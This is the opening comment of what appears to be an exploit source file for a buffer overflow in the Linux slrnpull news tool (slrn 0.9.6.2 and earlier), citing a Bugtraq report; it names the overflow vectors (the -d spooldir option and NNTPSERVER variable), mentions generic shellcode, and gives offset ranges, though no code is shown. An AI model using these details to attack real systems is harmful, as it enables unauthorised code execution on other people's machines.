/* (linux)slrnpull[slrn_v0.9.6.2-] buffer overflow, by v9[v9@fakehalo.org].  i
   made this after i viewed Michal Zalewski's "rh 6.2 - gid compromises, etc"
   (posted: Wed Jun 21 2000 06:54:08) text on bugtraq.  according to his text
   slrnpull among other programs is exploitable.  so, i downloaded the source
   and scanned through it to write little exploit for it.

   note: there didn't appear to be any set*gid() code in the source, execpt
         mentions of it, so i'm just using generic (non-set*id) shellcode.
         also, i just plucked one of the ways to overflow this: -d(spooldir)
         option, NNTPSERVER environment variable, etc. overflow.  the main slrn
         program has many overflows as well.  offsets should range from 1200
         to 2900. (roughly)
